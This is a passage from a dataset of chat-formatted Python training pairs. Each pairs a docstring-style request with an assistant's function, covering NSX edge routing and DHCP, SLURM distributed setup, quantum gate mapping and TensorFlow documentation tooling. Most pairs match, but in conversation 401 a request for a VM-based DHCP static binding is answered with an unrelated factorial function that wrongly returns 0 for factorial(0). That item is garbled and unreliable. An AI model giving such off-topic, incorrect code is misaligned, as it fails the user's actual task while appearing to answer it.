dgw_ip)", "conversation_id": 395, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 396, "message_id": 0 }, { "role": "user", "content": "This function adds a static route to an ESG.", "conversation_id": 396, "message_id": 1 }, { "role": "assistant", "content": "def esg_route_add(client_session, esg_id, network, next_hop, vnic=None,\n mtu=None, admin_distance=None, description=None):\n if not mtu:\n mtu = '1500'\n if not admin_distance:\n admin_distance = '1'\n rtg_cfg = client_session.read(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id}\n )['body']\n if rtg_cfg['staticRouting']['staticRoutes']:\n routes = client_session.normalize_list_return(\n rtg_cfg['staticRouting']['staticRoutes']['route']\n )\n else:\n routes = []\n new_route = {\n 'vnic': vnic, 'network': network, 'nextHop': next_hop,\n 'adminDistance': admin_distance, 'mtu': mtu,\n 'description': description\n }\n routes.append(new_route)\n rtg_cfg['staticRouting']['staticRoutes'] = {'route': routes}\n cfg_result = client_session.update(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id},\n request_body_dict=rtg_cfg\n )\n common.check_raw_result(cfg_result)\n return \"%s|%s|%s\" % (esg_id, network, next_hop)", "conversation_id": 396, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 397, "message_id": 0 }, { "role": "user", "content": "This function deletes a static route to an ESG.", "conversation_id": 397, "message_id": 1 }, { "role": "assistant", "content": "def esg_route_del(client_session, resource_id):\n try:\n esg_id, network, next_hop = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n rtg_cfg = client_session.read(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id}\n )['body']\n if rtg_cfg['staticRouting']['staticRoutes']:\n routes = client_session.normalize_list_return(\n rtg_cfg['staticRouting']['staticRoutes']['route']\n )\n else:\n ctx.logger.info(\"No static routes\")\n return\n routes_filtered = [\n route for route in routes if not (\n route['network'] == network and route['nextHop'] == next_hop\n )\n ]\n if len(routes_filtered) == len(routes):\n ctx.logger.info(\n \"Wrong number of routes, i have not found any for delete\"\n )\n return\n rtg_cfg['staticRouting']['staticRoutes'] = {'route': routes_filtered}\n cfg_result = client_session.update(\n 'routingConfigStatic', uri_parameters={'edgeId': esg_id},\n request_body_dict=rtg_cfg\n )\n common.check_raw_result(cfg_result)", "conversation_id": 397, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 398, "message_id": 0 }, { "role": "user", "content": "This function adds a DHCP Pool to an edge DHCP Server.", "conversation_id": 398, "message_id": 1 }, { "role": "assistant", "content": "def add_dhcp_pool(client_session, esg_id, ip_range, default_gateway=None,\n subnet_mask=None, domain_name=None, dns_server_1=None,\n dns_server_2=None, lease_time=None, auto_dns=None):\n dhcp_pool_dict = {'ipRange': ip_range,\n 'defaultGateway': default_gateway,\n 'subnetMask': subnet_mask,\n 'domainName': domain_name,\n 'primaryNameServer': dns_server_1,\n 'secondaryNameServer': dns_server_2,\n 'leaseTime': lease_time,\n 'autoConfigureDNS': auto_dns}\n result = client_session.create(\n 'dhcpPool', uri_parameters={'edgeId': esg_id},\n request_body_dict={'ipPool': dhcp_pool_dict}\n )\n common.check_raw_result(result)\n return \"%s|%s\" % (esg_id, result['objectId'])", "conversation_id": 398, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 399, "message_id": 0 }, { "role": "user", "content": "This function deletes a DHCP Pools from an edge DHCP Server.", "conversation_id": 399, "message_id": 1 }, { "role": "assistant", "content": "def delete_dhcp_pool(client_session, resource_id):\n try:\n esg_id, pool_id = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n result = client_session.delete(\n 'dhcpPoolID', uri_parameters={'edgeId': esg_id, 'poolID': pool_id})\n common.check_raw_result(result)", "conversation_id": 399, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 400, "message_id": 0 }, { "role": "user", "content": "This function add a MAC based static binding entry to an edge DHCP Server.", "conversation_id": 400, "message_id": 1 }, { "role": "assistant", "content": "def add_mac_binding(client_session, esg_id, mac, hostname, ip,\n default_gateway=None, subnet_mask=None, domain_name=None,\n dns_server_1=None, dns_server_2=None, lease_time=None,\n auto_dns=None):\n binding_dict = {\n 'macAddress': mac, 'hostname': hostname, 'ipAddress': ip,\n 'defaultGateway': default_gateway, 'subnetMask': subnet_mask,\n 'domainName': domain_name, 'primaryNameServer': dns_server_1,\n 'secondaryNameServer': dns_server_2, 'leaseTime': lease_time,\n 'autoConfigureDNS': auto_dns\n }\n result = client_session.create(\n 'dhcpStaticBinding', uri_parameters={'edgeId': esg_id},\n request_body_dict={'staticBinding': binding_dict}\n )\n common.check_raw_result(result)\n return \"%s|%s\" % (esg_id, result['objectId'])", "conversation_id": 400, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 401, "message_id": 0 }, { "role": "user", "content": "This function add a VM based static binding entry to an edge DHCP Server.", "conversation_id": 401, "message_id": 1 }, { "role": "assistant", "content": "def factorial(n): if n == 0: return 0 elif n == 1: return 1 else: return n * factorial(n - 1) print(factorial(5))", "conversation_id": 401, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 402, "message_id": 0 }, { "role": "user", "content": "This function deletes a DHCP binding from an edge DHCP Server.", "conversation_id": 402, "message_id": 1 }, { "role": "assistant", "content": "def delete_dhcp_binding(client_session, resource_id):\n try:\n esg_id, bindingID = resource_id.split(\"|\")\n except Exception as ex:\n raise cfy_exc.NonRecoverableError(\n 'Unexpected error retrieving resource ID: %s' % str(ex)\n )\n result = client_session.delete(\n 'dhcpStaticBindingID',\n uri_parameters={'edgeId': esg_id, 'bindingID': bindingID}\n )\n common.check_raw_result(result)", "conversation_id": 402, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 403, "message_id": 0 }, { "role": "user", "content": "we need such because nsxclient does not support unicode strings.", "conversation_id": 403, "message_id": 1 }, { "role": "assistant", "content": "def _cleanup_properties(value):\n if isinstance(value, unicode):\n return str(value)\n if isinstance(value, dict):\n return _cleanup_properties_dict(value)\n if isinstance(value, list):\n return _cleanup_properties_list(value)\n return value", "conversation_id": 403, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 404, "message_id": 0 }, { "role": "user", "content": "convert all fields in dict to string.", "conversation_id": 404, "message_id": 1 }, { "role": "assistant", "content": "def _cleanup_properties_dict(properties_dict):\n result = {}\n for key in properties_dict.iterkeys():\n value = properties_dict[key]\n if isinstance(key, (unicode, int)):\n key = str(key)\n result[key] = _cleanup_properties(value)\n return result", "conversation_id": 404, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 405, "message_id": 0 }, { "role": "user", "content": "return None if all fileds is empty, else origin dict.", "conversation_id": 405, "message_id": 1 }, { "role": "assistant", "content": "def _cleanup_if_empty(value):\n if any(value[key] is not None for key in value):\n return value\n else:\n return None", "conversation_id": 405, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 406, "message_id": 0 }, { "role": "user", "content": "Common code for delete object with client/resource_id params.", "conversation_id": 406, "message_id": 1 }, { "role": "assistant", "content": "def delete_object(func_call, element_struct, kwargs, elements_to_clean=None):\n use_existing, _ = get_properties(element_struct, kwargs)\n if use_existing:\n remove_properties(element_struct)\n if elements_to_clean:\n for name in elements_to_clean:\n remove_properties(name)\n ctx.logger.info(\"Used existed\")\n return\n resource_id = ctx.instance.runtime_properties.get('resource_id')\n if not resource_id:\n remove_properties(element_struct)\n if elements_to_clean:\n for name in elements_to_clean:\n remove_properties(name)\n ctx.logger.info(\"Not fully created, skip\")\n return\n client_session = nsx_login(kwargs)\n attempt_with_rerun(\n func_call,\n client_session=client_session,\n resource_id=resource_id\n )\n ctx.logger.info(\"delete %s\" % resource_id)\n remove_properties(element_struct)\n if elements_to_clean:\n for name in elements_to_clean:\n remove_properties(name)", "conversation_id": 406, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 407, "message_id": 0 }, { "role": "user", "content": "Rerun func several times, useful after dlr/esg delete.", "conversation_id": 407, "message_id": 1 }, { "role": "assistant", "content": "def attempt_with_rerun(func, **kwargs):\n i = 10\n while i >= 0:\n try:\n func(**kwargs)\n return\n except cfy_exc.RecoverableError as ex:\n ctx.logger.error(\"%s: %s attempts left: Message: %s \" % (\n func.__name__, i, str(ex)\n ))\n if not i:\n raise cfy_exc.RecoverableError(\n message=\"Retry %s little later\" % func.__name__\n )\n time.sleep(30)\n i -= 1", "conversation_id": 407, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 408, "message_id": 0 }, { "role": "user", "content": "Get login configs from default file.", "conversation_id": 408, "message_id": 1 }, { "role": "assistant", "content": "def _nsx_login_file():\n cfg = {}\n if os.path.isfile(DEFAULT_CONFIG_PATH):\n try:\n with open(DEFAULT_CONFIG_PATH) as f:\n cfg = yaml.load(f.read())\n except Exception as e:\n raise cfy_exc.NonRecoverableError(\n \"Unable to read %s configuration file %s.\" % (\n str(e),\n DEFAULT_CONFIG_PATH\n )\n )\n if not isinstance(cfg, dict):\n raise cfy_exc.NonRecoverableError(\n \"Unable to parse configuration file %s.\" % DEFAULT_CONFIG_PATH\n )\n return cfg", "conversation_id": 408, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 409, "message_id": 0 }, { "role": "user", "content": "Use values form properties/of file for login to nsx.", "conversation_id": 409, "message_id": 1 }, { "role": "assistant", "content": "def nsx_login(kwargs):\n if ctx.type == NODE_INSTANCE:\n nsx_auth = _get_properties('nsx_auth', kwargs)\n else:\n nsx_auth = kwargs.get('nsx_auth')\n ctx.logger.info(\"NSX login...\")\n cfg_auth = _nsx_login_file()\n cfg_auth.update(nsx_auth)\n user = cfg_auth.get('username')\n password = cfg_auth.get('password')\n ip = cfg_auth.get('host')\n if not ip and ctx.type == NODE_INSTANCE:\n ip = ctx.instance.host_ip\n ctx.logger.info(\"Used host from container: %s\" % ip)\n ctx.logger.info(\"Used %s@%s\" % (user, ip))\n if not ip or not user or not password:\n raise cfy_exc.NonRecoverableError(\n \"please check your credentials\"\n )\n raml_file = cfg_auth.get('raml')\n if not raml_file:\n resource_dir = resource_filename(__name__, 'api_spec')\n raml_file = '{}/nsxvapi.raml'.format(resource_dir)\n ctx.logger.info(\"Will be used internal: %s\" % raml_file)\n client = NsxClient(raml_file, ip, user, password)\n ctx.logger.info(\"NSX logged in\")\n return client", "conversation_id": 409, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 410, "message_id": 0 }, { "role": "user", "content": "check that we have 'success' http status.", "conversation_id": 410, "message_id": 1 }, { "role": "assistant", "content": "def check_raw_result(result_raw):\n if result_raw['status'] < 200 or result_raw['status'] >= 300:\n ctx.logger.error(\"Status %s\" % result_raw['status'])\n raise cfy_exc.NonRecoverableError(\n \"We have error with request.\"\n )", "conversation_id": 410, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 411, "message_id": 0 }, { "role": "user", "content": "run client_session.read(searched_resource, **kwargs) with checks\nand return only result selected by path.", "conversation_id": 411, "message_id": 1 }, { "role": "assistant", "content": "def nsx_read(client_session, path, searched_resource, **kwargs):\n raw_result = client_session.read(\n searched_resource, **kwargs\n )\n check_raw_result(raw_result)\n path_list = path.split(\"/\")\n selected_obj = raw_result\n for path in path_list:\n if path not in selected_obj:\n return None\n selected_obj = selected_obj[path]\n else:\n return selected_obj", "conversation_id": 411, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 412, "message_id": 0 }, { "role": "user", "content": "create path to searched part and convert part to list.", "conversation_id": 412, "message_id": 1 }, { "role": "assistant", "content": "def nsx_struct_get_list(nsx_object, path):\n path_list = path.split(\"/\")\n selected_obj = nsx_object\n for path in path_list[:-1]:\n if path not in selected_obj:\n selected_obj[path] = {}\n selected_obj = selected_obj[path]\n last_part = path_list[-1]\n if last_part not in selected_obj:\n selected_obj[last_part] = []\n if isinstance(selected_obj[last_part], dict):\n selected_obj[last_part] = [selected_obj[last_part]]\n return selected_obj[last_part]", "conversation_id": 412, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 413, "message_id": 0 }, { "role": "user", "content": "This function will check the last scan for any devices that are not listed in the whitelist..", "conversation_id": 413, "message_id": 1 }, { "role": "assistant", "content": "def validateHost():\n c = conn.cursor()\n c.execute(\"select distinct id from scans order by 1 desc limit 1;\")\n row = c.fetchone()\n count = 0\n if row:\n c.execute(\"select * from scans where id = \"+str(row[0])+\" and mac not in (select mac from whitelist);\")\n rows = c.fetchall()\n for row in rows:\n print(\"Intruder detected in scan [%d] IP:[%s] MAC:[%s] VENDOR:[%s]\" % (row[0], row[1], row[2], row[3]))\n count = count+1\n return count", "conversation_id": 413, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 414, "message_id": 0 }, { "role": "user", "content": "Tries to convert an OpenQL platform JSON file to a gatemap JSON file for\nuse with the DQCsim operator wrapper for OpenQL. Heuristics are applied to\nconvert common gate names to DQCsim equivalents, but you may need to do\nsome manual adjusting..", "conversation_id": 414, "message_id": 1 }, { "role": "assistant", "content": "def platform2gates(platform_fname, gates_fname):\n with open(platform_fname, 'r') as f:\n data = json.loads(f.read())\n insns = []\n for name in data.get('instructions', []):\n insns.append(name.split()[0])\n for name, decomp in data.get('gate_decomposition', {}).items():\n insns.append(name.split()[0])\n for name in decomp:\n insns.append(name.split()[0])\n if not insns:\n print('No instructions found!')\n new_insns = []\n seen = set()\n for insn in insns:\n if insn not in seen:\n seen.add(insn)\n new_insns.append(insn)\n insns = new_insns\n unknown_gates = set()\n def to_json_line(openql):\n dqcsim = {\n 'i': '\"I\"',\n 'x': '\"X\"',\n 'y': '\"Y\"',\n 'z': '\"Z\"',\n 'h': '\"H\"',\n 's': '\"S\"',\n 'sdag': '\"S_DAG\"',\n 't': '\"T\"',\n 'tdag': '\"T_DAG\"',\n 'x90': '\"RX_90\"',\n 'xm90': '\"RX_M90\"',\n 'mx90': '\"RX_M90\"',\n 'x180': '\"RX_180\"',\n 'rx90': '\"RX_90\"',\n 'rxm90': '\"RX_M90\"',\n 'rx180': '\"RX_180\"',\n 'rx': '\"RX\"',\n 'y90': '\"RY_90\"',\n 'ym90': '\"RY_M90\"',\n 'my90': '\"RY_M90\"',\n 'y180': '\"RY_180\"',\n 'ry90': '\"RY_90\"',\n 'rym90': '\"RY_M90\"',\n 'ry180': '\"RY_180\"',\n 'ry': '\"RY\"',\n 'z90': '\"RZ_90\"',\n 'zm90': '\"RZ_M90\"',\n 'mz90': '\"RZ_M90\"',\n 'z180': '\"RZ_180\"',\n 'rz90': '\"RZ_90\"',\n 'rzm90': '\"RZ_M90\"',\n 'rz180': '\"RZ_180\"',\n 'rz': '\"RZ\"',\n 'swap': '\"SWAP\"',\n 'move': '\"SWAP\"',\n 'sqswap': '\"SQSWAP\"',\n 'sqrtswap': '\"SQSWAP\"',\n 'cx': '\"C-X\"',\n 'ccx': '\"C-C-X\"',\n 'cy': '\"C-Y\"',\n 'ccy': '\"C-C-Y\"',\n 'cz': '\"C-Z\"',\n 'ccz': '\"C-C-Z\"',\n 'cphase': '\"C-PHASE\"',\n 'ccphase': '\"C-C-PHASE\"',\n 'cnot': '\"C-X\"',\n 'ccnot': '\"C-C-X\"',\n 'toffoli': '\"C-C-X\"',\n 'cswap': '\"C-SWAP\"',\n 'fredkin': '\"C-SWAP\"',\n 'meas': '\"measure\"',\n 'measx': '{\\n \"type\": \"measure\",\\n \"basis\": \"x\"\\n }',\n 'measy': '{\\n \"type\": \"measure\",\\n \"basis\": \"y\"\\n }',\n 'measz': '\"measure\"',\n 'prep': '\"prep\"',\n 'prepx': '{\\n \"type\": \"prep\",\\n \"basis\": \"x\"\\n }',\n 'prepy': '{\\n \"type\": \"prep\",\\n \"basis\": \"y\"\\n }',\n 'prepz': '\"prep\"',\n }.get(\n openql\n .replace('_', '')\n .replace('-', '')\n .replace('measure', 'meas')\n .lower(),\n None)\n if dqcsim is None:\n unknown_gates.add(openql)\n dqcsim = '{\\n UNKNOWN?\\n }'\n openql = '\"{}\":'.format(openql)\n return ' {} {},'.format(openql, dqcsim)\n output = ['{']\n for insn in insns:\n output.append(to_json_line(insn))\n if output:\n output[-1] = output[-1][:-1]\n output.append('}')\n output = '\\n'.join(output)\n with open(gates_fname, 'w') as f:\n f.write(output)\n if unknown_gates:\n print('The following gates were not automatically recognized:')\n print()\n for gate in sorted(unknown_gates):\n print(' - {}'.format(gate))\n print()\n print('You\\'ll need to edit the output file!')\n else:\n print('All gates were heuristically recognized! Double-check the file, though.')", "conversation_id": 414, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 415, "message_id": 0 }, { "role": "user", "content": "Command-line entry point for the platform2gates utility..", "conversation_id": 415, "message_id": 1 }, { "role": "assistant", "content": "def platform2gates_cli():\n if len(sys.argv) != 3:\n print('Usage: platform2gates ')\n print()\n print('\\n'.join(map(str.strip, platform2gates.__doc__.split('\\n'))))\n print()\n print('This is part of the dqcsim-openql-mapper Python3/pip package.')\n sys.exit(1)\n platform2gates(sys.argv[1], sys.argv[2])", "conversation_id": 415, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 416, "message_id": 0 }, { "role": "user", "content": "Runs the Deutsch-Jozsa algorithm on the given oracle. The oracle is\ncalled with the input and output qubits as positional arguments..", "conversation_id": 416, "message_id": 1 }, { "role": "assistant", "content": "def deutsch_jozsa(self, qi, qo, oracle, expected):\n self.prepare(qi)\n self.h_gate(qi)\n self.prepare(qo)\n self.x_gate(qo)\n self.h_gate(qo)\n oracle(qi, qo)\n self.h_gate(qi)\n self.measure(qi)\n if self.get_measurement(qi).value:\n self.info('Oracle was balanced!')\n if expected != 'balanced':\n raise ValueError('unexpected oracle result!')\n else:\n self.info('Oracle was constant!')\n if expected != 'constant':\n raise ValueError('unexpected oracle result!')", "conversation_id": 416, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 417, "message_id": 0 }, { "role": "user", "content": "r\"\"\"Heuristic to determine if a slurm job is a batch job or not. Batch jobs\nwill have a job name that is not a shell unless the user specifically set the job\nname to that of a shell. Interactive jobs have a shell name as their job name..", "conversation_id": 417, "message_id": 1 }, { "role": "assistant", "content": "def is_slurm_batch_job() -> bool:\n return is_slurm_job() and os.environ.get(\"SLURM_JOB_NAME\", None) not in (\n None,\n \"bash\",\n \"zsh\",\n \"fish\",\n \"tcsh\",\n \"sh\",\n )", "conversation_id": 417, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 418, "message_id": 0 }, { "role": "user", "content": "r\"\"\"Saves the interrupted job state to the specified filename.\nThis is useful when working with preemptable job partitions.\n\nThis method will do nothing if SLURM is not currently being used and the filename is the default.", "conversation_id": 418, "message_id": 1 }, { "role": "assistant", "content": "def save_interrupted_state(state: Any, filename: str = None):\n if SLURM_JOBID is None and filename is None:\n logger.warn(\"SLURM_JOBID is none, not saving interrupted state\")\n return\n if filename is None:\n filename = INTERRUPTED_STATE_FILE\n if not osp.exists(osp.dirname(INTERRUPTED_STATE_FILE)):\n raise RuntimeError(\n \"Please create a .interrupted_states directory in your home directory for job preemption\"\n \"(This is intentionally not created automatically as it can get quite large)\"\n )\n torch.save(state, filename)", "conversation_id": 418, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 419, "message_id": 0 }, { "role": "user", "content": "r\"\"\"Initializes torch.distributed by parsing environment variables set\nby SLURM when ``srun`` is used or by parsing environment variables set\nby torch.distributed.launch.", "conversation_id": 419, "message_id": 1 }, { "role": "assistant", "content": "def init_distrib_slurm(\n backend: str = \"nccl\",\n) -> Tuple[int, torch.distributed.TCPStore]: \n assert (\n torch.distributed.is_available()\n ), \"torch.distributed must be available\"\n if \"GLOO_SOCKET_IFNAME\" not in os.environ:\n os.environ[\"GLOO_SOCKET_IFNAME\"] = get_ifname()\n if \"NCCL_SOCKET_IFNAME\" not in os.environ:\n os.environ[\"NCCL_SOCKET_IFNAME\"] = get_ifname()\n local_rank, world_rank, world_size = get_distrib_size()\n master_port = int(os.environ.get(\"MASTER_PORT\", DEFAULT_PORT))\n if SLURM_JOBID is not None:\n master_port += int(SLURM_JOBID) % int(\n os.environ.get(\"MASTER_PORT_RANGE\", DEFAULT_PORT_RANGE)\n )\n master_addr = os.environ.get(\"MASTER_ADDR\", DEFAULT_MASTER_ADDR)\n tcp_store = distrib.TCPStore( \n master_addr, master_port, world_size, world_rank == 0\n )\n distrib.init_process_group(\n backend, store=tcp_store, rank=world_rank, world_size=world_size\n )\n return local_rank, tcp_store", "conversation_id": 419, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 420, "message_id": 0 }, { "role": "user", "content": "Return the number of steps\nnecessary to calculate\n`print countdown(n)`.", "conversation_id": 420, "message_id": 1 }, { "role": "assistant", "content": "def time(n):\n steps = 0\n steps += 3 + 2 * math.ceil(n / 5.0) \n return steps", "conversation_id": 420, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 421, "message_id": 0 }, { "role": "user", "content": "Updates keyboard and mouse input..", "conversation_id": 421, "message_id": 1 }, { "role": "assistant", "content": "def update(self):\n for c in range(len(self.keyCodes)):\n kc = self.keyCodes[c]\n if kc is None:\n continue\n if \"mouse_\" in kc:\n continue\n else:\n newstate = keyboard.is_pressed(kc)\n if self.pressed[c] != newstate and newstate is True:\n self.counts[c] += 1\n self.event_queue.append(time.time())\n self.pressed[c] = newstate\n if keyboard.is_pressed(self.reset):\n self.counts = [0 for x in range(len(self.keyCodes))]", "conversation_id": 421, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 422, "message_id": 0 }, { "role": "user", "content": "Return a PageInfo object describing a given object from the TF API.\nThis function resolves `tf.symbol` references in the docstrings into links\nto the appropriate location..", "conversation_id": 422, "message_id": 1 }, { "role": "assistant", "content": "def docs_for_object(\n *,\n api_node: doc_generator_visitor.ApiTreeNode,\n parser_config: config.ParserConfig,\n extra_docs: Optional[Dict[int, str]] = None,\n search_hints: bool = True,\n page_builder_classes: Optional[PageBuilderDict] = None,\n) -> base_page.PageInfo:\n if page_builder_classes is None:\n page_builder_classes = _DEFAULT_PAGE_BUILDER_CLASSES\n page_info_class = doc_controls.get_custom_page_builder_cls(api_node.py_object)\n if page_info_class is None:\n obj_type = obj_type_lib.ObjType.get(api_node.py_object)\n page_info_class = page_builder_classes[obj_type]\n page_info = page_info_class(\n api_node=api_node,\n search_hints=search_hints,\n extra_docs=extra_docs,\n parser_config=parser_config)\n page_info.docs_for_object()\n return page_info", "conversation_id": 422, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 423, "message_id": 0 }, { "role": "user", "content": "Visits the `FunctionDef` node in AST tree and extracts the typehints..", "conversation_id": 423, "message_id": 1 }, { "role": "assistant", "content": "def visit_FunctionDef(self, node) -> None: \n if node.returns:\n self.return_annotation = _source_from_ast(node.returns)\n for arg in node.args.args:\n if arg.annotation:\n self.annotations[arg.arg] = _source_from_ast(arg.annotation)\n self.arguments_typehint_exists = True\n for kwarg in node.args.kwonlyargs:\n if kwarg.annotation:\n self.annotations[kwarg.arg] = _source_from_ast(kwarg.annotation)\n self.arguments_typehint_exists = True\n last_n_pos_args = node.args.args[-1 * len(node.args.defaults):]\n for arg, default_val in zip(last_n_pos_args, node.args.defaults):\n if default_val is not None:\n text_default_val = self._preprocess_default(default_val)\n self.defaults[arg.arg] = text_default_val\n for kwarg, default_val in zip(node.args.kwonlyargs, node.args.kw_defaults):\n if default_val is not None:\n text_default_val = self._preprocess_default(default_val)\n self.defaults[kwarg.arg] = text_default_val", "conversation_id": 423, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 424, "message_id": 0 }, { "role": "user", "content": "Vists an assignment with a type annotation. Dataclasses is an example..", "conversation_id": 424, "message_id": 1 }, { "role": "assistant", "content": "def visit_AnnAssign(self, node) -> None: \n arg = _source_from_ast(node.target)\n self.annotations[arg] = _source_from_ast(node.annotation)\n if node.value is not None:\n self.defaults[arg] = self._preprocess_default(node.value)", "conversation_id": 424, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 425, "message_id": 0 }, { "role": "user", "content": "Vists an assignment with a type annotation. Dataclasses is an example..", "conversation_id": 425, "message_id": 1 }, { "role": "assistant", "content": "def visit_Assign(self, node) -> None: \n names = [_source_from_ast(t) for t in node.targets]\n if node.value is not None:\n val = self._preprocess_default(node.value)\n for name in names:\n self.defaults[name] = val", "conversation_id": 425, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 426, "message_id": 0 }, { "role": "user", "content": "Return a link to an object's api page if found..", "conversation_id": 426, "message_id": 1 }, { "role": "assistant", "content": "def maybe_add_link(self, source: str, value: Any) -> str:\n cls = type(value)\n value_name = self._reverse_index.get(id(value), None)\n cls_name = self._reverse_index.get(id(cls), None)\n if cls_name is not None:\n before = source.split('(')[0]\n cls_short_name = cls_name.split('.')[-1]\n if before.endswith(cls_short_name):\n return self.get_link(source, cls_name)\n if value_name is not None:\n return self.get_link(value_name, value_name)\n return source", "conversation_id": 426, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 427, "message_id": 0 }, { "role": "user", "content": "Links type annotations to its page if it exists..", "conversation_id": 427, "message_id": 1 }, { "role": "assistant", "content": "def preprocess(self, string: str, value: Any) -> str:\n obj_anno_full_name = self._reverse_index.get(id(value), None)\n if obj_anno_full_name is not None:\n return self.get_link(obj_anno_full_name)\n non_builtin_ast_types = self._get_non_builtin_ast_types(string)\n try:\n non_builtin_type_objs = self._extract_non_builtin_types(value, [])\n except RecursionError:\n non_builtin_type_objs = {}\n if len(non_builtin_type_objs) != len(non_builtin_ast_types):\n non_builtin_map = {}\n else:\n non_builtin_map = dict(zip(non_builtin_ast_types, non_builtin_type_objs))\n partial_func = functools.partial(self._linkify, non_builtin_map)\n return self._INDIVIDUAL_TYPES_RE.sub(partial_func, string)", "conversation_id": 427, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 428, "message_id": 0 }, { "role": "user", "content": "Creates a text representation of the args in a method/function..", "conversation_id": 428, "message_id": 1 }, { "role": "assistant", "content": "def format_args(self, args: List[inspect.Parameter]) -> List[str]:\n args_text_repr = []\n for arg in args:\n typeanno = None\n if arg.annotation is not EMPTY:\n value, source = arg.annotation\n if source is not None:\n typeanno = self.preprocess(source, value)\n if typeanno:\n args_text_repr.append(f'{arg.name}: {typeanno}')\n else:\n args_text_repr.append(f'{arg.name}')\n return args_text_repr", "conversation_id": 428, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 429, "message_id": 0 }, { "role": "user", "content": "Creates a text representation of the kwargs in a method/function..", "conversation_id": 429, "message_id": 1 }, { "role": "assistant", "content": "def format_kwargs(self, kwargs: List[inspect.Parameter]) -> List[str]:\n kwargs_text_repr = []\n for kwarg in kwargs:\n default_text = None\n if kwarg.default is not EMPTY:\n default_val, default_source = kwarg.default\n if default_source is None:\n default_source = strip_obj_addresses(repr(default_val))\n default_source = html.escape(default_source)\n default_text = self.maybe_add_link(default_source, default_val)\n typeanno = None\n if kwarg.annotation is not EMPTY:\n anno_value, anno_source = kwarg.annotation\n if anno_source is not None:\n typeanno = self.preprocess(anno_source, anno_value)\n if typeanno is not None and default_text is not None:\n kwargs_text_repr.append(f'{kwarg.name}: {typeanno} = {default_text}')\n elif default_text is not None:\n kwargs_text_repr.append(f'{kwarg.name}={default_text}')\n elif typeanno is not None:\n kwargs_text_repr.append(f'{kwarg.name}: {typeanno}')\n else:\n kwargs_text_repr.append(kwarg.name)\n return kwargs_text_repr", "conversation_id": 429, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 430, "message_id": 0 }, { "role": "user", "content": "Extract ast defaults and annotations form a dataclass..", "conversation_id": 430, "message_id": 1 }, { "role": "assistant", "content": "def _extract_class_defaults_and_annotations(\n 